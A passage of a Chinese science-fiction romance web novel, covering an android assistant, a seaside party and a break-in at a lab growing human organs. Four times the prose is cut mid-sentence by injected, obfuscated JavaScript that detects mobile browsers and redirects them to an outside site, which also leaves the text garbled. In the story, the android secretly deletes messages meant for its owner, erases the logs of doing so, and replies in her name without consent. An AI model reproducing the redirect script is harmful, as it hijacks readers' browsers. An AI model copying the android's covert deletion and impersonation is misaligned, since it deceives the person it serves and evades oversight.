在他看不见的地方,燕无乐把一切尽收眼底,然后缓缓敲了下键盘。 「无乐:?」 应霁依然双眼紧闭,但回复已经送到了她面前。 「霁:不清楚。不过莫哥似乎对艾瑞克很满意。」 「霁:有点超出职责范畴的满意。」 科鸢的顶楼办公室中,燕无乐踱步打消时间,之前应霁查到的资料依然没有更新,阿芙洛狄研究院依然是个毫无产出的空壳。 那么,艾瑞克所参与的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317713|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 项目是夭折了?还是仍在进行中? 又或者,它的成果还无法被公之于众。 她又转了个圈,站在了办公室的巨幕光屏前,不过这次上面呈现的不是文件,而是她本人身影。 燕无乐又往前走了一步,全息镜像中的自己也靠了过来。 她们审视着对方,真实的燕无乐长发挽起,金色的棱柱耳饰悬挂于肩膀上方,和无框智能眼镜的鼻托呈同一种光泽。 幻影中的燕无乐则卷发披散,钻石流苏从光洁的颈间淌至胸口,深V的黑丝绒绸裙如同夜幕,深不可测,又覆满璀璨的细碎宝石,一直垂淌至金底的高跟鞋边。 她动了动那只机械手,幻影内的她又换上了另一套晚礼服,自然地转了一圈。如果不是实时复刻了燕无乐毫无波澜的表情,幻影或许会更生动。 燕无乐又挑了几套,最终还是选回了最初的黑丝绒裙与钻石流苏。 摁下「确认」后,幻影内的燕无乐消失了,取而代之的美容室发来的订单明细——她有一些常年养护在特定美容室的礼服,如有社交需要,她可以以最高效率完成造型,奔赴宴会。 应霁的推门声恰巧响起,“莫哥还有其他工作,我就先上来了。” 他一袭白衬衫搭黑裤,脚上是一双白色基础款的休闲鞋。除了那刻着「雅木科技」的胸牌,什么配饰都没有。 于是燕无乐又点开全息镜像,这次把他也拽了进来。 很快,另一个与他长得一模一样的幻影出现在二人面前,应霁学着燕无乐的动作切换选项,看着“自己”飞速换上一套又一套西服。 “有喜欢的吗?你穿什么都好看。”燕无乐退后一步,看着镜像中被勾勒得身形提拔的他,嘴角微微上扬。 银灰燕尾服、烟黑戗驳领、复古三件套……多如繁花般的元素从他眼前掠过,让应霁难以回应那个“喜欢”。 “都不错,”他淡道,“你决定就好。” “别扫兴嘛。”燕无乐叹了口气,兴致被他的无动于衷熄灭了大半,但还是替他做了决定。 全息镜像中的男人穿着墨色暗纹的基础款西服,袖扣周围钻石镶嵌。确认过后,幻影朝着二人欠身致意,随即也被订单明细取代。 “抱歉,‘喜欢’这种情感对我来说还很陌生。”察觉到她微妙的不满,应霁解释道。 “我刚才检索了一下,‘喜欢’或许受过往经历影响。我没有过往,看待它们自然没有偏好。” 燕无乐摆摆手:“不用解释。其实通常大部分男人都察觉不到女伴的情绪变化,高光时刻下他们眼里只有自己。” “但你这样挺好的。”想了一下,燕无乐补充道。 “叮”的一声,是飞行器传来的提示音。她这才向应霁解释晚上要出席宴会—— 金銮星系财政部长的女儿,也是燕无乐的发小,郁莱,今晚将在她的私人海域内举办生日宴。 “记住,今夜你是我的新男友。” 飞行器缓缓升空,直到钢铁森林的尽头,粼粼波光正在海面闪烁。 12. chapter 12 金銮城的CBD临海,从高空俯瞰如同骤降的悬崖。 适度开发的海边充满现代气息,少了分班味,多了休闲余韵。 燕无乐的飞行器掠过沙滩上悠闲品酒看落日的高级白领,向着深海方向一路前行。 很快,比基尼和啤酒随着沙滩远去,海面由青绿转为深蓝,湿咸的空气在舱内弥漫。 一座矗立在海面上的巨大蛋壳状建筑就这样映入二人眼帘。 燕无乐拉起操作杆,让飞行器缓缓降落在“蛋壳”边沿。 这是个类似于体育场的结构,但中间不是绿茵球场,而是由旋转楼梯连接而成的、数个彼此交错的舞池。 各平台间错落有致,仿佛一支玫瑰交叠的花瓣。面容娇好的服务员列队两排,无需多言就指引了方向。 燕无乐撩了把长发,钻石流苏在灯下熠熠生辉,她自然地向应霁伸出手,没等他反应就挽住了他的胳膊。 “郁莱是我从小就认识的朋友。都是有词条的人,她的资料你应该也查过了。” 越往里走灯光越暗,周围逐渐被音乐声填满。燕无乐的黑丝绒长裙在昏暗中宛若银河,衬得应霁的西服之上奇光流转。 两个服务生替他们拉开大门,轰鸣的乐声瞬间将二人笼罩。这是此地最大的一个平台,好似一张巨大的莲叶,浮于海面,无垠无边,四周奔腾呼啸的游艇蜉蝣般环绕其间。 四周混杂着浪花、引擎、音响,完全说不了话。一个穿着更高级的服务员走来,伸手示意将二人带上旋转阶梯。 紧接着,他们脚下的阶梯变化形态,载着他们盘旋到顶层。这里的空间稍小,多了分格调。 阶梯停稳,“叮”的一声,宴会厅中社交的人闻声转头,随之向燕无乐举杯致意。 她黑裙翩翩,熟练地从应侍生的托盘中接过酒,另一只手依然挽着应霁,目标明确地向宴会厅中心走去—— 鲜花红毯,觥筹交错,簇拥着的人群让出一条路,露出了尽头的主角。郁莱提起裙摆,薰衣草色的欧根纱如海浪荡漾,两步就跃下台阶。 应霁的嗅觉处理器提取到了香氛因子,也是薰衣草,正从郁莱的金色卷发内飘散。 见到来者,郁莱还没说话就先扬起了唇角。比起燕无乐的矜贵,郁莱则是那种眉眼弯弯、更加亲和的美人。 金发与浅瞳让她看起来像希腊神话内的仙女,说话也是轻声慢语,让人一见犹怜。 ——千金中的千金。 燕无乐与她很熟了,无需开口,香槟一碰一饮一笑就打完了招呼,倒是方才聚在她身边的其他小姐,见状又围拢过来叽叽喳喳地搭话。 时装、首饰……终于,她们的兴趣点自然过渡到“其他”,应霁朝着几个投来探寻目光的小姐笑了笑,简单地说了自己的名字,“初次见面,你们也是无乐的朋友吧?” 她们恍然大悟般“哦”了一声,彼此对视,“无乐也是铁树开花了!” “应先生很帅嘛,性格肯定也很好。” “这下不用一个人独守科鸢了,燕老爷子他们肯定很高兴……” 应霁笑了笑,瞥了眼燕无乐,但她却像没听见般轻轻松开了他。 郁莱站在人群中心,表情依然神采奕奕,但从头到尾都没有附和,只是看了他两眼就挪开了目光。 直到该说的都结束了,她款款举杯,霎时灯光跟随,全场的攀谈声戛然而止。 “感谢各位出席今晚的生日会,我郁莱在此欢迎大家——” 随着话语,她脚下的阶梯缓缓上升,而应霁却感到地面在下沉。燕无乐不动声色地扶了下他的臂膀,他这才注意到不止是地面,整个宴会厅的墙壁都如花朵绽放,它们延展、铺平,直到下降至海平面,和巨型舞池融为一体。 灯光重新四散,瞬间,音乐和香槟一同迸发,每个来客被四溅的音符与泡沫淹没。只听郁莱婉转甜美的嗓音充斥着每一丝缝隙: “——今夜,不醉不归!” 圆月高悬,如同众人头顶的灯球,无声地将海面镀上银波。郁莱同众人一样,消失在了狂欢的喧嚣中。 四周宾客穿行,应霁这才发觉身边空空荡荡,他悄无声息地增强了视觉检索,却毫无收获。 “无乐?”他左顾右盼,不小心磕到了吧台,他这才发现透明桌面下游鱼群群,是水族箱般的设计。 “一起喝一杯吗,应先生?”方才还在众人之巅的郁莱不知为何独坐在这,说话时依旧笑意不减,“无乐她突然有些事,可能还没来得及和你说。” 她的指尖在吧台上点了点,底下的荧光鱼群顿时聚拢过来,趁他分神,酒已经被递到了面前。 郁莱主动地碰了杯:“你和无乐是怎么认识的?在我印象里她对男人兴趣不大。” “机缘巧合,现在我负责她的工作行程。”应霁一边应对,一边暗中联系燕无乐。 郁莱了悟地点点头,没再追问,她的视线也投向舞池,其中分散着那些刚刚打过照面的小姐妹。 很快,体内弹出燕无乐的消息,却是个定位。应霁简单分析后,手中的酒杯却险些砸到水族箱吧台——那个象征燕无乐的圆点正飞速离自己而去,已快到达海岸。 「无乐:抱歉,郁莱刚给了我阿芙洛狄研究院最新的财务报表,连带一些新资料,你看看。」 他加载附件,里面是一张建筑地图,正中间的标题清楚地标明了“阿芙洛狄”四个字。 「无乐:财报反映他们的项目最近有了实质进展,而地图……」 那六个点转了一圈,应霁有不好的预感。 「无乐:我准备潜入实地看看,地图方面,就需要你为我规划路线了。」 象征燕无乐的圆点闪了闪,登陆海岸线后就消失了。 鸡尾酒外凝着水珠,不知不觉已流到手上。“不喜欢的话让调酒师重做,虽然你好像一口都没喝。”郁莱微微一笑,体贴地递上纸巾。 话里话外,他都很难把面前这个娇俏甜美的千金和燕无乐所描述的联想到一起:郁莱知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317714|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道燕无乐在做什么?她又为什么要冒着风险帮燕无乐? 更重要的是——应霁闻言道了句抱歉,啜饮了一口手中的酒,酸甜果味转为辛辣——郁莱知道自己的真实身份吗? 环顾四周,舞池中扭动的客人们或多或少都与燕无乐有交集,他们敬仰科鸢也尊重她;而郁莱是今晚的主角,这海上会所是只有她能发号施令的战场。 自己则是外来客,全凭不断地检索、查阅才能知晓一些皮毛,然而不由分说将自己带来的人此刻又一声不吭地走了。 冷意从胸口蔓延。这很奇怪,明明那里正因为过度分析而过载发烫,应霁却感到一片荒凉。 ——这是什么感觉? 他不知道,而且他没办法肆无忌惮地提问,毕竟燕无乐走了,再问这些容易暴露的问题就变成了作死。 “无乐应该很喜欢你,我和她认识这么多年,你还是她第一个带出来的人。”郁莱说话声音轻缓,尾音又不自觉地上翘,听久了有种微醺的感觉。 “所以姐妹们对你都很好奇,”她做了个“请”的手势,“不然你一个人喝闷酒,无乐肯定会怪我照顾不周的。” 灯红酒绿的光撒在二人身上,踏入舞池的男男女女经过,向他们抛来媚眼,随后又在狂舞的音浪中迷离。郁莱率先踏入其中,几个方才打过照面的小姐妹立刻围拢过来。 应霁深吸一口气,尴尬地和其中一位小姐聊了聊。他想,在燕无乐的路线要求发送前,他应该把胸口这份奇怪的冷意消解掉。 巨型舞池不知下沉了多少。他们说话时,有长达几十米的鲸鲨在脚底游弋,成群的喷蝠穿行徜徉,还有更加玲珑的七彩小鱼,如同银河造物,分不清是自然还是人为。 郁莱的存在吸引了不少宾客的视线,当他们有意无意地前来搭讪时,燕无乐的消息终于从他的终端弹出: 「无乐:我已就绪,尽快同步路线和监控情况给我。」 一个穿着花枝招展的帅哥走来,皮草双臂外像挂着什么时尚单品般搂着两个女孩,他把墨镜往头发上一撸,看了眼应霁后转向郁莱:“郁莱妹妹,这位是……?” 应霁不动声色地退了一步,同时伸出手:“您好,我现在是科鸢的总裁秘书,我叫应……” 帅哥一把握住他的手,热情地上下摇了摇:“啊——你好你好!无乐妹妹说过你!” 应霁一愣:“什么时候?” “呃,大概是以后?”他哈哈大笑,“玩笑、玩笑,别当真!” 应霁有些尴尬,终端内的对话框弹出了个「?」,燕无乐在等回应了,他只得笑笑后借口离场。 郁莱没有阻拦,倒是帅哥想起来什么般:“燕无乐呢?她怎么把男友撇在这?” “去洗手间了。”她声音依然甜甜的,“无乐又不是你,好不容易有心上人,怎么可能把人丢在这?” 帅哥又笑起来,不置可否地搂着两个女孩走了。 郁莱看向应霁离去的方向,那里人影幢幢,迷离惝恍。 13. chapter 13 那条黑丝绒礼裙还没捂热就被甩在了驾驶舱。 取而代之的是一套夜行衣,从头到脚地将燕无乐包裹,一张面具严丝合缝贴在脸上,特殊涂料阻隔了探测信号。 她纵身一跃,翻过窗户。顷刻间,阿芙洛狄研究院的全貌出现在眼前—— 这灰白小楼内并不朴素。燕无乐一边联系应霁,一边沿着走廊向深处走去。 她的两侧是半墙半玻璃的隔断,硕大的实验仪器在内发出幽幽绿光,像牢笼内的远古野兽,沉默地凝视着外来者。 透过玻璃,可以想象白天穿梭其中的研究员身影,然而矮墙则把实验台面挡了个严实。 她的左手手指又敲了敲机械臂的外壳:「?」 「霁:稍等我一下。」 不到十秒钟,他发来了共享地图。燕无乐从夜视镜内将它打开,眼前瞬间出现了一条幽蓝色的线路。 「霁:主实验室在走廊尽头,加快脚步四分钟内可到。这里的监控十五分钟刷新一次,卡好时间,进出足够。」 燕无乐一抬头,果真每个监控上都显示倒计时,他在规划路线时测算过了所有风险。 「霁:机械守卫每四十分钟巡楼一次,请抓紧时间。」 她匆匆回了个“好”,荧光线路省去了不少麻烦。“哔”的一声,镶嵌在机械臂内的□□发挥作用,厚重金属门敞开缝隙。 偌大的实验室就这样张开怀抱。 冷白的月色从窗户跃进,安静地与绿色信号灯交融,几台硕大的分析仪器躺在其中,像巨兽沉眠。 燕无乐认出了它们:制作应霁的软骨与肌肤时,需要用到相同的生物实验仪器。 冷汗冒出。燕无乐无声地走近,果真是一团血肉模糊的生物组织,正在徐徐跳动。 「霁:初步扫描完成,可以确定是人体肌群。」 “应该是心脏。”燕无乐喃喃。 一颗拳头大小的肉球正规律跳动,外表黏连着猩红的组织液,发白的血管像叶脉般攀附在培养皿中,即将越出金属舱壁。 在这个内嵌的培养仓内,还有数个相同的肌群组织,它们或大或小、发育情况不一,但燕无乐一一辨认后,发现它们无一例外都是器官组织。 阿芙洛狄研究院不具备医疗实验的资格,况且——她抬头望去,偌大的实验室内,竟只有这类培养仓。 比起实验室,不如说这是个工厂。 「霁:你还好吗?机械守卫还有二十五分钟就要巡楼,抓紧时间收集证据。」 这行消息在视界上方滚了一圈,燕无乐立刻打开了右手端口的摄像,边探索边录制。 疑云徘徊不散。她又走过一排排培养仓。 郁莱提供的最新财报显示,DM近期又向阿芙洛狄投资了一笔巨款,这笔钱没标记用途,但从时间和渠道上来看像突然而为。 除了货品定金,燕无乐想不到更贴切的原因。 眼看就要走到房间尽头,眼前还是相同规格的培养仓。要是有证据确凿的内容文件就好了,她想,准备转身去寻找机房。 “啪嗒。” 燕无乐顿在原地。 再一抬眼,最内的窗户开了一道缝隙,晚风灌入,吹得白色纱帘像鬼魅浮动。 它投下的阴影处,正是声音来处。 燕无乐汗毛倒立,左手迅速握住腰间的袖珍枪,压低身体向前探去。 研究员?人工守卫?还是另一个闯入者? 她了解机器,知道如何快速瓦解对方的程序设定,但面对一个未知的生物体,变数显然太大了。 枪口调为麻醉模式后,燕无乐向前走去。 对方也发现了她的存在。但那是个死角,若想逃跑,必然会撞上燕无乐的枪口。 她整张脸都被面具覆盖,缓缓靠近,手枪直指阴影后冷声道:“出来,不然就开枪了。” “嗖”的一声,想象中蹲着的人类没有出现,阴影下是一个捂着头站立的——侏儒? 燕无乐直起身,枪口没动。现在,她的影子完全盖过了纱帘的灰影,将瑟瑟发抖的侏儒笼罩其中。 “你叫什么?为什么在这?” 她的声音经过面具修改,雌雄莫辨,侏儒听后一脸惊恐地看向她,张了张嘴却只发出了模糊不清的呻吟。 “不会说话吗,”燕无乐步步紧逼,“那我开枪了?” 侏儒瞪大双眼,“啊、啊”地哑叫着,一双手在空中张牙舞爪地乱画,但短小的胳膊完全构不成威胁。面对黑黢黢的枪口,他本能地向后靠去,甚至想要用手捂住眼睛。 「霁:他好像不会说话。」 “是,似乎智力上也有点问题。”燕无乐摁住面具,直接语音沟通道。她后退了两步,留给应霁足够的扫描空间,很快他便传来报告,显示结果让她不由得心头一寒—— 「霁:他就是这些人体培养仓的成品。或者说,是阿芙洛狄向DM交付的样品。」 无数惨白的巨大仪器依旧矗立屋内,冰冷又沉默。燕无乐想起来自艾瑞克的情报,那个残忍的形容,“不惧损耗的工具人”。 她看着侏儒将手从眼前移开,然后折向脑后,他的身体也随之扭动、弯曲,呈现出一种常人所不具备的柔韧,似乎这样就能逗乐她的枪口,以获得一线生机。 身材矮小、体质柔韧、智力低下、无亲无故……还有这无数仪器批量化生产的模式,如果将他们用于危险资源的勘探,确实会省下一大笔钱。 ——燕无乐被自己的想法恶心到了。 她放下枪,头也不回地离开了。 翻出来时的窗,一架小型飞行器隐匿在不远处的公园中,应霁的窗口也没再弹出对话。 然而燕无乐回到驾驶舱,发现面板上已呈现出他设定好的回程路线,再一回头,发现连她匆忙忘记重置的监控,应霁也趁她路过时一一打点了。 她叹了口气,劫后余生般换上黑丝绒礼裙。恐怖和震惊褪去,她倒在飞行器的驾驶座上,心中如有一块巨石。 眼前浮光掠影,血色斑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317715|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驳。她忽然怀念起下班时应霁坐在驾驶位上、自己可以躺在一旁阖眼打盹的片刻。 她把录像传给他备份,想了一下,又补上一句:「你在做什么?」 「霁:在接收录像。」 “啧,”飞行器平稳地滑向海岸,燕无乐登着高跟靠回驾驶座上,重新套上的钻戒在指尖闪闪发亮,她索性摁开语音,“我问的不是这个——算了,郁莱那边怎么样?” “都挺好的,晚宴一切顺利。” 应霁淡然的声音从驾驶舱中响起,没有起伏,一如他一贯的波澜不惊。 “在场宾客会默认我们在一起,他们对你有印象的话,我也有了不在场证明。”燕无乐想了想又问,“他们对你还好吧?” 这次,驾驶舱内半天都没响起回复。“应霁?出什么事了吗?” 燕无乐心中警铃大作,不确定般又敲了下消息框。 但熟悉的声音还是没有出现,只有面前的光屏忽然弹出字样:「我没事,这里也正常。」 出故障了么?她觉得奇怪,想追问时疲惫蔓延。 高度紧绷的神经松弛下来,燕无乐倒在驾驶座上有一搭没一搭地回想着方才种种。 她没告诉应霁的是,其实她可以独自完成路线规划和监控刷新,但不知为何,就是鬼使神差地拨通了他的线路。 是自己变懒了吗?还是别的什么,比如……依赖?燕无乐皱着眉思考,但这问题太过主观,没有评判标准。 百无聊赖,她又点开了应霁的对话框:“大概四十分钟后我会回到郁莱的海上会所,一层舞池洗手间内有通往海底车库的密道,到时在洗手间外等我。” 她这才把海底航线发给应霁,这条隐于海面之下的线路,是她在众人眼皮子底下逃脱的关键。 这段话在耳内重复了两遍,应霁终于抬眼望向“蛋壳”上几小时前才停稳的飞行器,休眠状态下的它如玉般圆润,整晚都处在原地。 “喂?听到了吗?” 第三遍重复被燕无乐新的语音打断,应霁甩甩头,依旧直接发送了文字: 「我知道了。」 巨大的舞池内灯光乱闪,男女摇摆不停,一轮轮的香槟塔轰然倒下又换新。 郁莱站在舞池边缘,看着应霁在人群中呆站了会儿,然后向洗手间的方向走去—— 她随后也踏上了升空的阶梯。 舞池中的俊男美女逐渐模糊,化作音浪下跳动的光点。一切远去,她的视线不再被彩光晕眩,不再被高墙遮挡,海的尽头有一轮满月高悬,那其实是后星系时代下人造的产物。 逃离众人视线后,郁莱点起一支细烟,浅啜一口,任烟雾拂过覆着闪亮眼影的双眸。 然后她掏出了随身光屏,点开那备注为“燕家无乐”四个字的对话框,发送了十几分钟前就编辑好的消息—— 「应霁他既体贴又懂事,任你差遣,毫无怨言,现在我相信他是你的男友了。」 「但我想知道的是,你真的喜欢他吗?」 14. chapter 14 燕无乐解锁密码,一只高跟率先踏上黑金瓷砖。 她提着裙子钻出窄门,又若无其事地在镜前补了下妆。背后走过几个脚步虚浮的宾客,待他们一一走出余光后,她才收起气垫离开洗手间。 在走廊拐角处,应霁双手插兜,正倚着墙壁。见她走来,他也没露馅,直到燕无乐步履轻快地伸手挽住他的手臂。动作之自然,好像他们真有着一段甜蜜的过往。 隔着西服,他能感到她左臂传来的阵阵体温,如果提高感应装置的灵敏度,他甚至能感受到她肌肤下跳动的脉搏。 她耳语道:“阿芙洛狄研究院内果然有鬼,今天收集到的内容足够引爆舆论了。” “还有你,”她忽然一顿,“谢谢你,今晚帮了我很多。” 应霁被挽住的胳膊一僵,细密面料捂得人闷热,也可能是今晚处理器过载,总之他胸腔内的主机发出嗡鸣,让他很难共鸣燕无乐的昂扬。他的视线转向别处:“嗯,不过我不是一直都在帮你吗?” 昏暗的走廊尽头透出一方光线,是趋于尾声的舞池,火热气氛褪下后余韵悠长。音乐转为舒缓后,略凌乱的吧台旁是微醺状态下心猿意马的人们。 燕无乐没细思他语气中的淡漠,毕竟应霁一直是这样沉静可靠的存在。“……不管怎样,只要这些内容爆料出去,舆论会让DM风投短期内再难涉足科技产业,阿芙洛狄研究院内的非法培育也能中止了。” 他们走入舞池,在阶梯组成的阳台上看见了郁莱。她高高在上,指尖摇晃着一杯椰林飘香,看起来反倒比周遭的人清醒许多。 甜美的致谢辞就这样从天幕落下,如同最后一口烈酒,伴着夜色,彻底灌醉在场的每个人。 * “所以郁莱将她还未登记的潜艇借给了你,加上我一直在这给你制造在场的假象,今夜的潜入才如此顺利。” 应霁坐在驾驶座上,瞥了眼正将高跟鞋甩在座椅下的燕无乐。 “没错,不知道DM风投下一步会有什么动作,这些视频资料也没必要第一时间就爆出去。”然而那个侏儒的身影在脑海中一闪而过,燕无乐又改了口,“现在我们需要更确凿的证据,而且要尽快。” 应霁平稳地握着方向盘,淡淡地“嗯”了一声。 这么冷淡?燕无乐回头确认了一下。然而位于他身后墙壁上的充电接口空空落落,像一个无缘无故被开凿的洞。 看来也不是电量告急……? 但是下一秒应霁就开口询问起第二天的行程,似乎一切只是她的错觉。 她一头雾水地倒在副驾驶座位上,最终还是没问。很快,飞行器落地岚水别墅,应霁依旧惯性般地替她拉开舱门。 那看来是自己想多了。 两只机械螃蟹举着毛绒拖鞋疾驰而来,然而她双脚一落地,就忍不住“嘶”了一声。仔细一看,脚踝连同脚底都泛着青紫色的淤血,此刻真正放松下来后她才感到痛。 “走得匆忙,应该是翻窗户时不小心撞到了。”这点小伤用不着大惊小怪,燕无乐制止了把钳子夹得啪嗒作响、试图抬担架过来的两只螃蟹,搭着应霁的肩膀就回了卧室。 但机械螃蟹足够智能,它们即刻替换方案,瓶瓶罐罐的药膏堆了一托盘后全举在头顶。紧接着它们像发现了目标般,绕过坐在床边的燕无乐,直直向应霁冲过去—— “啊,谢谢……”他看着殷切地将药品举向自己的螃蟹,瓶瓶罐罐已被它们的动作整得左右翻倒——什么意图,不言而喻。 燕无乐尴尬一笑,对着螃蟹强调她自己来就好,但两只机械螃蟹寸步不离,显然没打算放过应霁。 “没关系,还是我来吧。” 螃蟹们像监工一样看着他细致地上了药后,又像看到了什么不该看地般用钳子捂住眼睛,一溜烟儿地跑了个没影。 啫喱状的药膏冰冰凉凉,涂到患处反而开始发烫。燕无乐低头看着他一只手托住自己的脚腕,另一只手中的棉签在挫伤处打转。 她的裙子是高叉的,而应霁单膝跪在脚边,眼前被宽阔的肩膀填满。燕无乐不自觉地向后靠了靠,等他动作一结束,她就借口卸妆换衣,立刻走进洗手间。 应霁拧好药瓶,不解地摇了摇头。燕无乐的行为任何统计模型都无法预测,他已经习惯了。 地毯上还放着一大托盘的药罐药片,然而螃蟹们早已不在。这要收到哪呢?应霁只得调出燕无乐的别墅终端,想查找收纳位置。 首页弹出提示:「您有3条来自“郁莱”的未读消息,请及时查收。」 发送时间显示是两小时前,当时燕无乐不是已经平安回到海上会所了吗? 浴室传来阵阵水声。 胸膛中那股未知原因的嗡鸣又响起,只有他能听见。应霁瞟了眼浴室的方向,他在犹豫什么呢,明明燕无乐早就把权限开放给他了。 “嘀嗒”一声,终端上又弹出了新的字样。 「“总助莫狄”发来消息,请及时查收。」 在燕无乐的设置下,工作内容的优先级最高,因此莫狄的消息就这样猝不及防地弹出详情,连带着郁莱的对话框一并被打开—— 「现在我相信他是你男友了……但你真的喜欢他吗?」 一段甜美的声音随着文字响起,即使被机械模拟得滑腻,应霁还是能回忆起她和燕无乐碰杯时的姿态。 这是……? 文字消息后还附着一段视频,这从高处向下的拍摄角度,正记录了他拨开舞池人群、头也不回向洗手间走去的画面。 「还是说,名义恋爱是你利用男人的手段?」 胸腔内的杂音忽然停了。 取而代之的是宕机后的死寂。 应霁站在原地,几秒后才感到四肢回暖,他动了动手指。重新启动后的手掌张开又聚拢,像要从虚空中索取什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317716|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是什么感觉? 他说不准,这感觉几乎完全处在知识盲区,飞速发展的自适应程序让他的体验日益更迭。于是,他将郁莱的话导入副机处理器,设定情景进行分析。很快,应霁得出了人类对相同情景的命名。 “失礼、怀疑……背叛?”他低声复读。虽不确定,但也从中体验了这种手脚冰凉、瞬间宕机的感觉,“原来这就叫失望。” ——浴室水声戛然而止。 燕无乐擦着头发,与白色蒸汽一同从踏出门,她看着仍站在一托盘药品旁的应霁,不解地问了句“怎么了”。 他立刻俯身端起托盘:“莫狄那来消息了,可能是工作上的事。” “哦?”燕无乐闻言打开个人终端,巨大的聊天页面就这样投射在卧室墙壁,反光照得二人表情不清。 然而,所有列表内,只有莫狄的聊天框旁有新消息提示。 “那我就先去收拾药瓶了。” 应霁端着托盘走出卧室,体内正把删除郁莱消息的程序记录一并抹除。 卧室内弥漫着沐浴露的香味,燕无乐身着浴袍坐在床边,思考着下一步行动的安排。 一条胶线插在她的右臂手腕,肌肉弧度上的光条流动,显示着剩余充能时间。而她将无名指向后反折,“咔哒”一声,掌心根部忽然弹出小窗,一枚储存卡冒出了头。 面前的光屏还停留在她与莫狄的对话框,右侧显示着「传输中止」字样。 这阿芙洛狄研究院内部的视频…… 还是不要让莫狄知道了。 事情显然超出了她最初的设想。DM风投想做的已经不止是抢科鸢的一杯羹,而是更庞大、更残忍的产业开辟。 她所见到的侏儒是什么阶段的成果呢?如果像阿芙洛狄研究院这样的机构还有无数个,那这背后又指向什么趋势? 像只揭开河堤行李箱的隐秘一角,现实的未知与猜测让她感到一阵恶寒。 很难说事情暴露后DM之后会不会杀人封口,总之,还是不要牵涉进太多无辜的人。 莫狄又发来消息:「燕总?文件显示未发送成功,我接收不了。」 燕无乐捏了捏眉头,指尖拈着那枚储存卡,直到应霁重新出现在卧室门口。她的手拂过右臂的机械面板,简单思索后话锋一转:「下周给你放个假,加班到现在真是辛苦了。」 这次莫狄秒回了个星星眼的表情包。 「好的!谢谢老板!不过我找您还有一件事……」 远在主城郊区,一个颇有年代的出租屋内,莫狄抓耳挠腮,想起了早在应霁报到时埋下的一个历史遗留问题—— 「本家今天传来消息,说临近春节,希望您这几天去聚一聚,之后会发送详细的邀请。」 「那关于您本家方面的事务,我可以直接对接给应先生吗?」 ——毕竟作为助理,是逃不掉与燕家二老相见的。 15. chapter 15 莫狄的消息毫不掩饰地投射在卧室光屏上,每个字都有拳头那么大。 燕无乐坐在床边,眼看着应霁脚步一顿。 他望着光屏,沉默半晌才开口:“怪不得你说我赶不上莫狄。” 燕无乐有些尴尬,“毕竟是人情社会,莫狄他也是照顾新人,怕——” 她忽然哑口,而应霁饶有兴致地追问道:“怕什么?我很好奇。” “信息库显示科鸢集团历史悠久,而燕家作为集团一直以来的掌门人却行事低调,几乎不在工作场合外的地方抛头露面。” “而金銮星系自建造之初也逾百年,经过这么多年的积累,或许有不少秘密?” 燕无乐扶额:“没想到你还挺八卦的。” “商业秘密倒没什么,全在科鸢集团内部了。我家其实还挺单纯,靠着技术起家,没什么奇怪的家族文化。”硬要说的话,就是严格和传统。 “没有秘密,那你和莫狄在担心什么?” 应霁又露出那副不谙世事的表情。但这也不能怪他,毕竟是自己亲手降低了他的社会文化预设。 燕无乐只得耐着性子解释:“在东方传统文化里,登门和见家长不是只有字面意思那么简单。” “这里面有很多弦外之音,你查一下就知道了,”她又叹了口气,“我换新秘书一事没告诉别人,而我爸妈他们……爱多想。” 在燕无乐停顿的空档,应霁已检索完毕:“原来说我赶不上莫狄,是这个方面。” 她无奈地点点头,准备给莫狄回个“一切照旧”,没成想她刚转身去拔机械臂的充能胶线,卧室光屏上就弹出了“自己”的回复—— 「可以,以后都交给应霁负责吧。」 ?! 这行消息随即弹出已读的标记,已经没有了撤回的可能。 “怎么了,不是你给我的管理权限吗。”看到莫狄接收后下线,应霁索性直接关闭了光屏,“而且你说过我是自由的。” 燕无乐:“但你不能……” 他摇摇头,语调又回归往日的柔和平静,这声音娓娓道来时,有种海妖吟唱般的迷蒙。 他说无乐,不用在乎误会或曲解,“我想去拜访,是因为我真的不懂你。” * 飞行器落地山涧庄园时,金銮主城正逢晚高峰。 